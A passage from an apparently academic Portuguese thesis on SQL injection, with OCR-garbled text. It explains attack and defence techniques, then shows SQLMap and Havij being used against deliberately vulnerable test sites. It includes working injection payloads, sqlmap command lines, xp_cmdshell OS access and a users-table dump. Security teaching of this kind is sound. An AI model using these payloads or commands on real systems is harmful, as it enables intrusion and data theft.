resultado da consulta, ja a funcdo lower(), serve para converter o caracter retornado
para minusculo, e o comando ascii(), € utilizado para converter para o alfabeto ASCII
o valor retornado. Assim quando esta URL for executada, e trazer a quinta noticia
como resposta, 0 usuario malicioso sabera que a primeira letra da tabela est4 entre
"N" e "Z", pois na tabela ASCII o numero 109, representa a letra "m". Ao insistir
neste comando alterando a comparacédo, 0 atacante conseguira identificar mesmo
gue de uma forma trabalhosa o nome desta tabela, de modo a poder utilizar essa

informagao para adquirir outras, e assim conseguir invadir a aplicagéo.

2.6.4.3 Controle do Sistema Operacional a partir da Invasao

Apos um ataque bem sucedido a uma aplicacdo web, € possivel executar
algumas estratégias que possam levar ao acesso remoto do sistema. No SQL
Server, um sistema de gerenciamento de banco de dados, quando se possui 0s
privilégios de administrador, o qual ndo € dificil, € possivel a partir da stored
procedure xp_cmdshell, realizar uma conexdo com o0 sistema operacional,
executando comandos deste, que serdo respondidos juntos ao retorno. (CLARKE,
2009).

Como a xp_cmdshell, existem diversos outros tipos de stored procedure e
comandos no SQL Server, que possuem o papel de realizar essa conexao com o

sistema operacional, visando um obijetivo diferente, como ilustrado na Figura 24.
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Figura 24 - Comandos operacionais.

Bulk Copy Program (BCP) Utilizado para criacdo de arquivos no
sistema.
XP_CMDSHELL Utilizado execucdo de comandos no

sistemas, para criacdo de arquivos e
facilitar seu upload.

BULK INSERT Utilizado para leitura dos arquivos no
sistema.

SP_OACREATE Utilizado para escrever arquivos no
sistema.

Fonte: Elaborada pelo autor.
2.7 METODOS DE PROTECAO CONTRA O SQL INJECTION

Este método de ataque que usa injecdo, se demonstrou um grande risco para
0S usuarios, diante disso, desenvolvedores e programadores, desenvolveram
algumas formas para se proteger deste. Contudo os métodos de protecdo se
embasam em boas préticas de implementacao, visando a seguranca das aplicacdes.

Como ja mostrado em suas técnicas de ataque, um dos problemas primarios,
que tornam as aplicagcbes web vulneravel ao SQL Injection, sdo os comandos e
cadigos, facilmente amarrados aos caracteres que sdo enviados ao servidor. Para
este problema as linguagens de programacdes modernas, criaram as instrucées
parametrizadas, que trabalham com espacos reservados e variaveis de ligacdo, de
forma a ndo utilizar diretamente as informac¢fes vindas do usuario. No entanto
quando uma aplicagdo web, utiliza o SQL dinamico, criando fun¢des ou utilizando
uma Stored Procedure (procedimento de armazenamento) em tempo de execucao,
a injecao ainda podera ocorrer. (CLARKE, 2009).

Segundo Kost (2004), a forma mais efetiva de protecdo contra esta técnica
de ataque é o uso de variaveis de ligacdo, além de melhorar o desempenho da
aplicacdo. Deve se utilizar as variaveis de ligagbes em todas as instru¢des possiveis,
independente de quando ou onde elas forem executadas, e nunca amarrar
diretamente uma instrucao a um parametro recebido.

Stored Procedure sédo programas, armazenados em banco de dados, que sao
utilizados para acessar o proprio. Uma Store Procedure pode ser escrita em
diferente linguagens de acordo com o banco, além de possibilitar a configuragédo de
acesso base aos BDs. Seu uso pode diminuir o impacto da técnica de Ataque SQL
Injection em aplicagbes. (CLARKE, 2009).
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Outro ponto de grande importancia que se deve realcar quando abordar os
método de protecdo, é a validacdo dos dados de entrada do usuario, trata-se de um
teste feito pela aplicacdo com o intuito de verificar se a entrada esta de acordo com
um padrdo pré estabelecido. Esta validacdo é divida em duas vertentes, a lista
branca, conhecida como validagcdo positiva, e a lista negra, conhecida como
validagédo negativa. (CLARKE, 2009).

A lista branca, € considerada a mais confiavel entre as duas, entretanto pode
ser mais complexa de aplica-la em alguns ambientes. Este tipo de validacéo consiste
basicamente em verificar uma variedade de possibilidades, por exemplo, ao
preencher um campo refente a um nimero de cartdo de crédito, para este tipo de
método, serd analisado se a entrada realmente é somente numérica, se a entrada
possui valor positivo como tem que ser, se o valor possui entre 13 e 16 numeros, se
0 numero inserido estd de acordo com o célculo para emissdo de cartdes, entre
outros. J& a lista negra, tem como objetivo bloquear a entrada de caracteres ou uma
sequéncia deles, que sao considerados uma ameaca. Esta forma de protecéo nao é
muito segurada, e € considerada ruim, pois sobrecarrega o sistema percorrendo uma
grande quantidade de caracteres para validacdo, além de muito dificil manté-la
atualizada, devido a grande quantidade de técnicas que surgem rapidamente.
(CLARKE, 2009).

Os padrbes e funcdes personalizadas disponibilizados pelos bancos de
dados, que podem alterar senhas, criar usuarios, sao igualmente vulneraveis a
exploracéo, no qual sua utilizacdo pode facilitar o determinado ataque, desta forma é
aconselhavel restringi-los aos que forem realmente necessarios. (KOST, 2004).

De acordo com OSWAP (2007), como acfes de protecdo para ataques de
injecdo, deve-se emitir mensagens de erros menos detalhadas possivel, afim de
serem mais genéricas, além de utilizar as API's (Application Programming
Interfaces), funcionalidades dos BDs que ja implementam de forma segura a entrada
dos parametros, e a realizacdo da codificacdo dos dados de entrada para a

representacéao interna da aplicacao, antes de qualquer tipo de validacdo seja feita.
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2.8 FERRAMENTAS UTILIZADAS

Para realizacdo deste trabalho, foram utilizadas algumas ferramentas que

serao brevemente conceituadas.

2.8.1 SQLMAP

SglMap € uma ferramenta cédigo aberto muito conhecida, que automatiza o
processo de detectar e explorar as falhas de injecdo SQL. Ela possui um poderoso
sistema de deteccdo e uma grande quantidade de recursos que podem até permitir
ao utilizador, acessar o sistema de arquivo do alvo e aplicar comandos em seu
sistema operacional. Na figura 25, € ilustrado o prompt de comando com a utilizacao
da ferramenta relatada. (SQLMap...,2015).

Figura 25 - Ferramenta SQLMap.

$ python zqlmap.py -u "httpidtargetwuln,php?id=1" —-batch

[15:02:08] [IMFO] hewristic (basic) test shows that GET parameter "id" might be
injectable {possible IBHS: "HySOL')

Fonte: SQLMAP (2015).

2.8.2 Havij

O Havij assim como o SQLMap é uma ferramenta automatizada de injecao
SQL, que explora vulnerabilidades de uma aplicacdo web. Desenvolvida com o

propoésito de deixar paginas da web mais seguras, analisando se existe ou néo, a
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7

possibilidade de invasdo. Na Figura 26, é ilustrado a interface do programa.

(WIKIPEDIA, 2015).

Figura 26 — Ferramenta Hauvij.

## Havij [re] [ (3w
Target: | b 1]
[T Eewword:  Auto Detect [ Sprtam: :-;-th: Dietect Analyze
D atabasze: lAuto Detect v] M ethod: lGET vJ Twpe: IAutD Detect "] =]
Load Sawve
Pozt Data:
w i B & 22 >~
About r ables »ad Files lue Find Admin MD5 Settings
Havij - Advanced SQL Injection Tool
Version 1.16 Pro
ITSECTEAM Copyright @ 2008-2012
By r2dmov3
http://ITSecTeam.com
http:/fforum.Itsecteam.com
info@itsecteam.com Check for update
Databaszes: Register
Thiz copy of Hawij iz regiztered to:
r3drm0v3
* Status: I'm IDLE Clear Log
Cracked by Service Manual { AORE Team } -

Fonte: Elaborada pelo autor.

2.8.3 Acunetix Web Vulnerability Scanner 10.0

Essa ferramenta possui como foco analisar aplicagbes web e detectar

vulnerabilidades. Desenvolvida pela empresa Acunetix, foi pioneira na area de

seguranca de aplicacdes web, na analise do site e deteccéo de vulnerabilidades. Na
Figura 27, é ilustrado a interface do programa. (ACUNETIX, 2015).




Figura 27 - Ferramenta Acunetix.
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@ Acunetix Web Vulnerability Scanner 10,0 (Trial Edition)

File Tools Configuration Help

| New Scan | [&} 3 0 2 B¢ AR EE B RS
Tools E: .
%5 "” 5 2| myacunetix WEB APPLICATION SECURITY
|k Web Scanner i o
= Touls Acunetix Web Vulnerability Scanner )
[ Site Crawler .
') Target Finder [& web Scanner |Scan your web applications automatically for vulnerabilities
- £, Subdomain Scanner ) _ »
) Blind SQL Injector =7 Tools |CLISIDmI;D your security assessments with an extensive set of tools
eb Senvices Scan your web services automatically for vulnerabilities
&= WebS 5 tomatically for vul lit
%) Authentication Teste = Configuration Application preferences and scanning profiles
uthenucauon lester
il ) ’
= b= hcnmparE Results = General |Check for product updates, find help, and modify your license
E-{= Web Services
i-4% Web Services Scanner
e el
7 Web Sx.arwces Editor Common Tasks
= Configuration
| % Application Setti :
'?.J Sf:f:e;:g: nes |j Mew Scan |Start anew website scan
[
>
b Gﬁ Scalnn‘”g Profiles ¢ Sample Scan |L-:|a-j the results from a sample scan session
=1 eneral
-4 Program Updates &7 New WS Scan |Starl anew web service scan
-[10] Version Information
% Licensing ih| Reporter View, customize, and publish vulnerability reports
-] Support Center
@] Purchase 3 scheduler |Scne-ju|e an automated scan b
-] User Manual
9 AcuSensar 3) Acunetix Ltd @ 2005-2014 Al rights reserved. Acunetix WVS v10.0 Build 20150921
| Activity Window i}
10.07 00:03.09, Parse Frame Config XML ... ~
10.07 00:03.09, Acunetix Web Yulnerability Scanner, version 10.0, build 20150921
10,07 00:03. 11, Populate application menus ...
10,07 00:03. 12, Populate tools bar ...
10.07 00:03. 12, Populate tool explorer ...
10,07 00:03. 12, Load ServerInfo XML ... W
1 Application Log | Error Log
Ready

Fonte: Elaborada pelo autor.

2.8.4 Python verséo 2.7.5

Compilador Python 2.7.5, possui o objetivo de

programacao denominada python. Uma linguagem de

compilar a linguagem de

programacao orientada a

objetos, que possui cédigo aberto, desenvolvida pela Python Software Foundation,

uma organizacao que nao possui fins lucrativos. (PYTHON, 2015).
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3 TRABALHOS CORRELATOS

Neste capitulo serdo apresentados alguns trabalhos pesquisados que fazem
relacdo com o tema deste trabalho, o JsafeFilter e o Cross-Site Scripting. Existem
Varios outros projetos que utilizam do estudo destes meios de ataque e prevencao,
porém, abaixo situa-se o0s dois que obtiveram maior relevancia dentre os
encontrados.

e O trabalho realizado por Magalhdes [20107?7], tem como objetivo
apresentar alternativas de seguranca para anular o SQL Injection, com
a utilizacdo do JsafeFilter. Um método de deteccdo e prevencdo de
ataques em aplicacbes web. Tal deteccdo é realizada através da
manipulagéo de campos de entrada de dados, pois a ferramenta retira
a responsabilidade do tratamento daqueles campos por meio do
escopo das aplicacdes web, fazendo com que seja caracterizada com
um filtro de requisicbes HTTP.

e O Cross-Site Scripting (XXS) é um dos meios de ataque a aplicacfes
web, causado por scripts maliciosos pelo lado cliente ou servidor, onde
os dados de entrada do usuario ndo séo validados de forma adequada,
permitindo o roubo de informagdes confidenciais e sessGes do usuario
e compromentendo o navegador web cliente e a integridade do sistema
em execucdo, igualmente ao SQL Injection. Desta forma o trabalho
realizado por Nunan [20107?], visa classificar quais paginas web sao

vulneraveis a este tipo de ataque.
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4 METODOLOGIA

De acordo com Gil (1991), uma pesquisa bibliografica normalmente é feita
guando ndo se possui informacgfes suficientes sobre o assunto. Esse tipo de
pesquisa, trata-se de um procedimento racional e sistematico, que possui como o
objetivo principal responder as davidas dos problemas referente ao tema escolhido,
além de ampliar a visdo do investigador sobre o mesmo. Esta é desenvolvida e
embasada principalmente em livros e artigos cientificos,

Levando em consideracdo estas informacbes este trabalho foi
desenvolvido em duas partes, compostas pela investigagdo dos assuntos
abordados nos topicos, e a realizacdo do ataque em uma aplicacdo web com a
utilizacao da técnica SQL Injection.

No primeiro momento foi desenvolvida, a revisdo da literatura, no qual foi
realizada uma pesquisa bibliografica, de modo a visar a busca de conhecimento
referente a0 tema, afim de levantar informagBes necessérias para sua
documentacdo e posteriormente seu desenvolvimento. Nesta revisdo literaria foram
levantadas informacdes sobre alguns tipo de ataque que utilizam do método de
injecdo, mas de modo a sempre enfatizar a técnica SQL Injection, além de
alguns assuntos como aplicacdo web, linguagem sql, bancos de dados, afim de
auxiliar no compreendimento total do objetivo que este trabalho tem em foco.

Apoés a realizacdo da primeira etapa, foi dado inicio a segunda parte deste
trabalho, que possui como meta, demonstrar de maneira pratica o que foi estudado
na pesquisa bibliografica, de forma a ser realizado um ataque a uma aplicacdo web
via SQL Injection.

Para realizacdo desta demonstracao, primeiramente foi realizado um estudo,
com o objetivo de verificar em qual aplicacdo web seria efetuada a invasao, de forma
a utilizar aplicagcdes web disponibilizadas na internet, que foram desenvolvidas com
0 propasito de servirem como testes para atagues, ou se seria viavel a criacao de
um site extremamente simples com as vulnerabilidades necessarias.

Ao término desse estudo, foi concluido que o ideal seria a utilizacédo de sites
ja prontos e proprios para esse fim, além da utilizacdo de ferramentas. Ferramentas
estas, com o objetivo de auxiliar nos ataques, pois mesmo com todo estudo feito, é
preciso de muito conhecimento profundo sobre tal, de forma que, também seja muito

complicado e complexo atacar uma aplicagéo web.
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Diante disso, foram escolhidos trés sites que possuem vulnerabilidades para
fins de estudo para serem atacados, de modo que todas as aplicacbes seriam
exploradas em duas vulnerabilidades para fim de comparacéo.

Primeiramente foi utilizado em cada site, http://testphp.vulnweb.com/,
http://testasp.vulnweb.com/, e http://testaspnet.vulnweb.com/; uma ferramenta
bastante intuitiva chamada Acunetix Web Vulnerability Scanner 10.0, que possui 0
objetivo de escanear o site alvo afim de encontrar qualquer tipo de vulnerabilidade
sobre o mesmo.

Assim ao escanear todos os sites escolhidos e definir as vulnerabilidades que
seriam atacadas, foram utilizadas duas ferramentas, chamadas SQLMap e o Havij.
Ferramentas que estdao no “mercado” e sao bastante conhecidas nesse meio. Esses
dois recursos possuem como principal foco, automatizar o processo de invasdo a
sites vulneraveis ao SQL Injection. Desta forma ambos foram utilizados para atacar
0s trés sites em suas duas vulnerabilidades alvo.

Ao fim de todos os ataques foi construido uma tabela comparativa entre as
ferramentas com os resultados obtidos, de modo que as informacdes encontradas e
o tempo que foi cronometrado manualmente, foram os critérios avaliados.
Demonstrando que além de servirem como “arma”, podem e séo utilizadas como
auxilio na protecdo de diversos sites, de forma a contribuir e informar os
desenvolvedores e os usuarios, de um dos muitos meios de ataque prejudiciais que

circulam pela Internet.
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Nesta etapa do trabalho, assim como descrito na metodologia, foram

efetuados alguns atagues com a utilizacdo de certos softwares nas determinadas

aplicacdes web, obtendo certos resultados e conclusoes.

Primeiramente, foi utilizado o programa Acunetix Web Vulnerability Scanner

10.0, com a intecdo de encontrar vulnerabilidades nos respectivos sites escolhidos.

Este software ndo s6 encontra vulnerabilidades para o ataque SQL Injection, mas

como para diversos outros tipos de invasoes.

O site testphp.vulnweb.com, foi o primeiro a ser escaneado pelo scanner

acunetix, sua analise pode ser observada na Figura 28.

Figura 28 — Analise do scanner Acunetix referente ao primeiro site.

W Acuneti Web Vulnerability Scanner 10.0 (1rial Edition) — ]
File Actions Tools Configuration Help
New Sean | [&l [0 o =L} 5 | B HIE]
whbsporer 7 D & = & J2 | start URL: [http: ftestphp. vulnweb. com/ Profile: o] @ resy

i Web Vulnerability Scanner

i J&h Web Scanner

3+ Tools

L[S Site Crawler

4~ Target Finder

L, Subdomain Scanner
4 Blind SQL Injector
=} HTTP Editor

A&, HTTP Sniffer

i HTTP Fuzzer
Authentication Tester
A Compare Results
S-{=r Web Services

i -4 Web Services Scanner

4 Web Services Editor
J-{=r Configuration

L Application Settings
,J, Scan Settings
‘2] Scanning Profiles
i General

& Program Updates
[La] Version Information
(& Licensing

@ Support Center

@] Purchase

i@ User Manual

(8 AcuSensor

Scan Fesults Status
=} 5 Scan Thread 1 { http:/ftestphp.vulnweb.co...  Scanning

=- [illy Web Alerts (135)

= @ Elind 5QL Injection (27)
B rw

[] faiaxfinfoartist.php (1)
=] fBIAY finfocateg.php (1)
fAIAX finfotite. php (1)
@ id(1)
fartists.php (2)
feart.php (1)
|=| fguestbook.php (1)
: fistproducts. php (4)
: fMod_Rewrite_Shop/buy.php (1)
: Mod_Rewrite_Shop/details.php ...
: fMod_Rewrite_Shop/rate.php (1)
: foroduct.php {(2)
@ login (1)

o--&
=8

@ pic (1)

fsearch.php (5)
fsecured/newuser.php (1)
e} fsendcommand.php (1)
G- [2] fuserinfo.php (3)

@ CRLF injection/HTTP response splitti...
@ Cross site scripting (2)

@ Cross site scripting (verified) (24)

@ Directory traversal {verified) (2)

@ HTTP parameter polution (2)

@ nginx SPDY heap buffer overflow (1)
@ script source code disdosure (1)

@ server side request forgery (2)

@ sqL injection (1)

Erw

@ SQL injection {verified) (26)

[E] raamsnfoartist.php (1)

I:l fm1Ax finfocateg.php (1)

[ rmaaxfinfotie.php (1)

I:l fartists.php (2)

|:| feart.php (1)

|:| fguestbook.php (1)

I:l fistproducts.php (4)

I:l Mod_Rewrite_Shop/buy.php (1)
|_| /Mod_Rewrite_Shop/details.php ...

-

o--8-8--&-&--E--E- -

m

L = = O 0 3 0 =

This scriptis pessibly vulnerable to SQL Injection attacks.

S0L injection is a vulnerability that allows an aftacker to alter
back-end SQL statements by manipulating the user input. An
S0L injection occurs when web applications accept user input
that is directly placed into a SQL statement and doesn' properly
filter out dangerous characters.

This is one of the most common application layer attacks
currently being used on the Internet. Despite the fact that it is
relatively easy to protect against, there is a large number of web
applications vulnerable

This vulnerability affects /AJA}infotitie php.
Discovered by: Scripting (Blind_Sal_Injection.script).
Attack details

URL encoded POST input id was setto 3 AND 3*2*1=6 AND
852=852

Tests performed

= 0+0+0+3 == TRUE
0+852847+3 == FALSE
13-5-2-999 == FALSE
13-5-2-3 == TRUE
13-2*5+0+0+1-1 == TRUE
13-2*6+0+0+1-1 == FALSE
3 AND 2+1-1-1=1 AND 852=852 == TRUE
3 AMND 3+71-1-1=1 AND 852=852 == FALSE
3 AND 3*2=5 AND B52=852 == FALSE
3 AND 3*2=6 AND 852=852 == TRUE
3 AND 3*2*0=6 AND 852=852 == FALSE
= 3AND 37271=6 AMND 852=-852 == TRUE

Original value: 3

# View HTTP headers

Request

POST fAJRX/infotitle.php HITF/1.1
Content-Length: 40

Content-Type: applicaticn/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cockie: mycockie=3

Host: testphp.vulnweb.com

Connecticn: Keep-alive

|Achwty' Window

10,14 17:52.50, [high] Blind SQL Injection "/product.php” on parameter Togin™

10.14 17:53.17, [high] SQL injection (verified) "flistproducts. php™ on parameter Togin™

10,14 17:53.20, [high] Blind SQL Injection "flistproducts.php™ on parameter ogin™

10.14 17:56.09, [high] Cross site scripting (verified) "/aJAX /showxml.php” on parameter “mycookie™

10.14 17:58.54, Scan paused!

i Application Log

Error Log

B o i

o O Y [ Y Ry |

Fonte: Elaborada pelo autor.
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O processo de busca por vulnerabilidades feita por este programa ndo € muito
rapido, por esse motivo o scan foi pausado como pode-se observar pois no
respectivo site ja havia se encontrado muitas vulnerabilidades para o SQL Injection.

Realizada a analise, foram escolhidas duas vulnerabilidades para serem
exploradas, buscando por serem de tipos de métodos diferentes para uma futura
comparacao. Deste modo foram optados pelas duas urls demonstradas na Figura
28, IAJAX/infotitle.php?id e a /product.php?pic, sendo uma do método POST e uma
do método GET respectivamente.

Com as vulnerabilidades definidas, o passo seguinte foi dar inicio ao primeiro

ataque com a utilizacéo do software Havij.

Figura 29 — Havij primeiro site, vulnerabilidade 1.

# Havij =1 E=E =™
Target: htt|:l //testphp.vulnweb.com/AJAX/ infotitle.php |» 1]
; + Anal
Kegword: Auto Detect | Syntax _Futu Detect ] nalyze
Database: | Auto Detect | Method [posT = | Type: [Auto Detect - =
Load Save

PostData  jd=2sInject_Here%

w == .J =l ) 2, b
About Info Tables Read Files Cmd She Query Find Admin MD5S Settings

Havij - Advanced SQL Injection Tool
Version 1.16 Pro
e ITSECTEAM Copyright ® 2009-2012
By r2dm0v3
http://ITSecTeam.com

http://forum.Itsecteam.com
info@itsecteam.com Check for update

Databases: Register

Thiz copy of Havij is registered to:

r3dmv3

* Status: I'mIDLE Clear Log

HosT IP: 176.28.50.165 -
Web Server: nginx/ 1 4.1

Powered-by: PHP/5.3.10-1~lucid+2uwsgiz

Keyword Found: s}"nre

Injection type is Integer

DE Serwver: MySQL ==5
Selected Column Count i
valid string Column is
Current DB: acuart

m

g

LS

Fonte: Elaborada pelo autor.
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No campo Target do Havij foi colocado a url vulneravel do site, como é
ilustrado na Figura 29, e separadamente foi posto a varidvel que sera injetada na
area Post Data. Desta forma o programa, a partir desses dados conseguiu encontrar
o banco de dados acuart e descobrir que o sistema de gerenciamento de banco de
dados é um MySQL.

Figura 30 — Havij primeiro site, vulnerabilidade 1, bancos de dados.

# Havi [E=8 E=l 5
Target: .http://testphp.vulnweb.com/AJA)UinfotitIe.php . I 1]
T 7 Anal
[T Keyword: Auto Detect | [T] Syrtax: (Auto Detect | nalyze
Database: | Auto Detect v| Method [posT v | Type: |Auto Detect v| =
Load Save

FostData  jd=salnject_Here%

(/] i B l o, ~

H
About Info Tables  ReadFiles Crnd She Query  Find Admin MD5 Settings
® i i G . 0M w
Stap Get DBs Get Tables Get Columns  Get Data Save Tables  Save Data
- [f] acuart
o [] information_schema
1 1 r

Use Group_Concat [MySOL Only) [V 401in one request. [T Force to use it Clesar list on get

" Skatug I'm IDLE Clear Log

Powered-by: PHP/S5.3.10-1~lucid+2uwsgiz "
Keyword Found: shore

Injection type is Integer

DE Server: MySQL »=5
Selected Column Count is
valid string Column is 2
Current DB: acuart

Data Base Found: information_schema
Data Base Found: acuart

5 8

m

Fl 3

Fonte: Elaborada pelo autor.

Procurando por novos bancos de dados o software encontrou mais um,

chamado information_schema, como € ilustrado na Figura 30.
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Figura 31 - Havij primeiro site, vulnerabilidade 1, tabelas.

# Havi [E=3 F=H 5
Target: .http:/ftestphp.vulnweb.com/AJA)(finfotitle.php . > 1]
: . Anal
[C] Kepword:  Auto Detect . [CISyntax Auto Detect nalyze
D atabase; [Auto Detect v] tethod: ’POST v] Type: [Auto Detect - M
Load Save

PostDatar  jd=ogInject_Here%

L7 1 2 = v} A P
About Info Tables Read Files Crmd She Query  Find Admin MD5 Settings

M M

Get DBs Getﬁbles Get Columns  Get Data M Save Tablez  Save Data

x

B[] acuart
-] artists
-[] carts

] categ
- [] featured

- [] guesthaok
-] pictures
-] products
- [] users

- [] information_schema

« 1 r
Use Group_Concat [MySGL Only) &llin one request. [ Force to use it Clear list on get

* Status ' IDLE Clear Log

Injection type is Integer -
DE Server: MySgL »=§
Selected Column Count is 8

valid string Column is 2

Current DE: acuart

Data Base Found: information_schema

Data Base Found: acuart

Count({table_name) of information_schema.tables where table schema=0x616375617274 is
Tables found: artists,carts,categ,featured,guestbook,pictures,products,users

m

=]

a4 [

Fonte: Elaborada pelo autor.

Ao explorar o primeiro banco de dados encontrado, o acuart, foram
localizadas oito tabelas, que podem ser vistas na Figura 31. Diante disto foi escolhida
a tabela users, que muito provavelmente contenha informacdes dos usuarios para ser
expandida, obtendo oitos colunas. Assim ao regastar os dados contidos em algumas
das colunas achadas foi retornado uma linha de dados com algumas informacdes,

como pode-se obsevar na Figura 32.
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Figura 32— Havij primeiro site, vulnerabilidade 1, dados.
# Havij [E=1E=RE

Target: 'http:fltestphp.vulnweb.comfAJAxfinfotitIE.php . (3 1]
| T - Analyze
[ keyword:  Auto Detect [ Syntax: Auto Detect e
Datshase: | Auto Detect ~| Method: [posT = | Type: [Auto Detect - M
Load Save

Past Data: :id=%1nject_HerE%

About Info Tables Read Files Crnd Shel Query  Find Admin MD5 Settings

x 5! - E 1 . ) )

Get DB= Getﬁbles GetC.oI.umns Get Data Save Tablez  5ave Data

&[] featured -
i [] questhook

-] pictures test test 21 street 1234-5678... John Smith  email@em...
i ] praducts
=[] users

- [] uname
[ pass
e

- [w] address
- [w] email
[ name
-] phone
[ cart A

- [] information_schema -
Use Group_Concat [MySGAL Only) &llin one request. [ | Force to use it Clear list on get

pass uname address cc name ermail

m

* Status: I'mIDLE Clear Log

Current DE: acuart -
Data Base Found: information_schema

Data Base Found: acuart

Count(table_name) of information_schema.tables where table_schema=0x616375617274 is 8

Tables found: artists,carts,categ,featured,guestbook,pictures,products,users

Count{column_name) of information_schema.columns where table_schema=0x616375617274 and table_name=0xX7573657
Columns found: uname,pass,cc,address,email,name,phone,cart

Count(=) of acuart.users is 1

Data Found: pass,uname,address,cc,name,email=testAtestA2l strestAl234-5678-2300-90004A]ohn SmithAemaileemaill |

=

1| 1 3

Fonte: Elaborada pelo autor.

Esse mesmo ataque foi realizado com a utilizacdo da outra ferramenta, o
SQLMap. Esse recurso depois de instalado € utilizado a partir do prompt de comando,
a base de comandos. Desta forma o primeiro comando executado com o objetivo de

encontrar os bancos de dados é ilustrado no inicio da Figura 33.
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Figura 33 - SQLMap primeiro site, vulnerabilidade 1.

EN C:\Windowshsysterm32hcmd.exe EI |

>

http:-“sglmap.ory

[?*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
consent iz illegal. It is the end user’'s responsibility to obhey all applicable
local,. state and federal laws. Developers assume no liability and are not respon

zible for any misuse opr damage caused by this program

[=*] starting at 21:-32:574

it looks like the back—-end DBMS is "MyS5QL’. Do you want to skip test pavloads sp
ecific for other DBMSes? [¥./nl u

for the remaining tests, do you want to include all tests for "MuyS3QL' extending
provided level <1> and risk <12 values? [¥~“nl n

POST parameter 'id’ is wvulnerable. Do you want to keep testing the others <if an
y»? [ysN]1 n

sglmap identified the following injection pointd=s> with a total of 43 HTTP<(s> re
quests

Payrameter: id <POST>
Type: boolean—based blind
Title: AMD boolean—based blind — WHERE or» HAUING clause
Payload: id=1 AND 4724=4724

Type: AMDAOR time—based blind
Title: My3QL >= 5.8.12 AND time—based blind <SELECT>
Payload: id=1 AND <{SELECT = FROM <(SELECT<SLEEF<S>>>AgRO>

Type: UNION guery

Title: Generic UHION guery (MULL>}? — 8 columns

Payload: id=—%6@5 UNWION ALL SELECT HULL. NULL NULL CONCAT(AxY16a6h7871  Bx6a61
65564d52 77487264 AxYi6b626bhY1 > HULL_ MNULL . HUL

Fonte: Elaborada pelo autor.

Durante a execucdo do comando, o software faz algumas perguntas apos
sugerir que o modelo de gerenciamento de banco de dados é o MySQL,
guestionando se € necessario continuar com testes especificos para outros bancos
de dados para garantir o tipo de BD, além de questionar se € valido aplicar todos
testes para o BD MySQL. Para as duas perguntas foram respondidos sim e néo

respectivamente, pois o intuito desta invaséo € aplicar um ataque simples, para fins
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comparativos. De modo que o programa em seguida as respostas, continua o
ataque, e ao chegar ao final dele, o recurso confirma que o parametro id que foi
passado é vulneravel e questiona, se queremos continuar com testes de outros

parametros, e novamente foi respondido néo.

Figura 34 — SQLMap primeiro site, vulnerabilidade 1, bancos de dados.
B C\Windows\system32\cmd.exe o -E- ==

it looks like the back—end DBMS is "MySQL’. Do you want to skip test payloads sp
ecific for other DBMSes? [¥rnl v

for the remaining tests, do you want to include all tests for ‘MySQL’ extending
provided level <12> and rizk <12> valuez? [Y¥Y~nl n

POST parameter *id’ is vulnerable. Do you want to keep testing the others (if an
2% [ys/N1 n
identified the following injection point<s>» with a total of 43 HITP<(s> re
uests:

arameter:z id (POST>
Type: boolean—based blind
Title: AMD boolean—hazed blind — WHERE or HAUING clause
Payload: id=1 AND 4724=4724

Type:= ANDAOR time—hased blind
Title: My3QL >= 5.@8.12 AND time—based bhlind <SELECT>
Payload: id=1 AND (SELECT = FROM (SELECT<SLEEF<{5>>>AgR0O>

Type:= UNION guery

Title: Generic UNION gquery (MULL>? — 8 columns

Payload: id=-?685% UNION ALL SELECT HULL.HNULL.NULL.COMCAT (Bx716abbh?@871 . Bxbabl
65564452 77487264 ., Ax716b626b71 >, HULL, HULL . HULL . NULL—

sebh application technology: MWginx,. PHP 5.3.18
hack—-end DBMS: MySQL L.@.12

vailabhle databases [21:
[#] acuart
[#] information_schema

[#]1 shutting down at 21:34:88

Fonte: Elaborada pelo autor.
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Apébs a conclusédo da analise, o SQLMap, encontra igualmente ao Haviji, dois
bancos de dados, acuart e information_schema, ilustrados na Figura 34.

Figura 35 — SQLMap primeiro site, vulnerabilidade 1, tabelas.

C:~2sglmap.py —u http-rtestphp.vulnuweb.comsAJAX - infotitle.php —data=""id=1"" —D
acuart —tahles

{1.8—dev—rnongit—2015188%7%

—_ i _ .
"

i http:-Asglmap.ory

[?*] legal disclaimer: Usage of sglmap for attacking targets without prior mutual
conzent iz illegal. It is the end user’'s responsibility to obey all applicable
local. state and federal laws. Developers ume no liability and are not respon

=ible for any misuse or damage caused by this program

[=] starting at 21:4@:42

cglmap resumed the following injection point<s?» from stored session:
Parameter: id <POST>»

Type:= bhoolean—baszed bhlind

Title:z: AND boolean—based blind — WHERE o» HAUING clause

Payload: id=1 ANHD 4724=4724

Type:= AMDA0OR time—based blind
Title: MyS3QL >= 5_.68.12 AND time—hased blind (SELECT>
Payload: id=1 AHND <SELECT = FROM <(SELECT{SLEEFP<5>>>AgRO>

Type: UNION guery
Title: Generic UNION guery (HULL>» — columns
Payload: id=—9605 UNIOW ALL SELECT NULL HULL . HULL . CONCAT (Bx716a6h7871 . Bx6ab6l
65564d5977487264 . BxP16b6260 71 >  NULL . HULL . HULL . HULL—
[21:4A:43]1 [INF0O]1 the back—end DBMS is HMySQL
webh application technology: Mginx. PHP 5.3.18
hack—end DEMS: MySqQL 5.6.12

Databaze: acuart
[8 table=s]

carts
categ
featured
guesthook
pictures
products
users

101

[ ———————

[#*] shutting down at 21:48:50

AN -

Fonte: Elaborada pelo autor.

J& na Figura 35 é ilustrado em seu inicio o segundo comando aplicado, no
qual tem a intencdo de encontrar as tabelas do banco de dados descoberto no
primeiro ataque, o acuart. Assim ao final deste ataque sdo encontradas oito tabelas,

as mesmas encontradas pelo programa Havij.



Flgura 36 — SQLMap primeiro site, vulnerabilidade 1, colunas.
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[ CWINdOWE Sy SLEmS 2y Cid. exe

= = S

Cowrsglmap-.py —uw http:s-testphp.vulnweb.comAJAXinfotitle.php ——data=""id=1" —-T

uzers ——columns
{1 .8—dev—rnongit—20151887>

v http: " sglmap.org

[*] legal disclaimer: Usage of sglmap for attacking targets withowut prior mutual
consent is illegal. It is the end user’s responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon

=ible for any misuse or damage caused by this program

[=*] starting at 21:42:87

zglmap resumed the following injection point<s?> from stored session:

id (POST>
Type: boolean—based blind
Title: AND boolean—based hlind — WHERE or HAVING clause
Payload: id=1 AND 4724=4724

Type:= ANDAOR time—based hlind
Title: MySQL >= 5.8.12 AND time—based blind (SELECT>
Payload: id=1 AHND (SELECT = FROM (SELECT{SLEEPC{S5>>>AgRO>

Type: UNION guewry

